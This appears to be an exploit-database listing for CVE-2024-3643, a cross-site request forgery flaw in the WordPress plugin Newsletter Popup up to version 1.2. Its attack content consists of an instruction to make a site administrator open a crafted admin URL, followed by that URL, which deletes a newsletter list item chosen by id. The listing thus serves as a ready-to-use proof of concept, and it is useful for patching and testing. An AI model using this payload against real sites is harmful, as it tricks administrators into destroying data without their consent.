Exploit for Newsletter Popup <= 1.2 - List Deletion via CSRF CVE-2024-3643

Name: Exploit for Newsletter Popup <= 1.2 - List Deletion via CSRF CVE-2024-3643
Rating: 5 (47 reviews)

2024-04-25 | CVSS 6.7

## https://sploitus.com/exploit?id=WPEX-ID:698277E6-56F9-4688-9A84-C2FA3EA9F7DC
Make an admin open a URL (where `<ID>` is a valid id):

http://example.com4/wp-admin/admin.php?page=wp_newsletter_show_items&action=trash&id=<ID>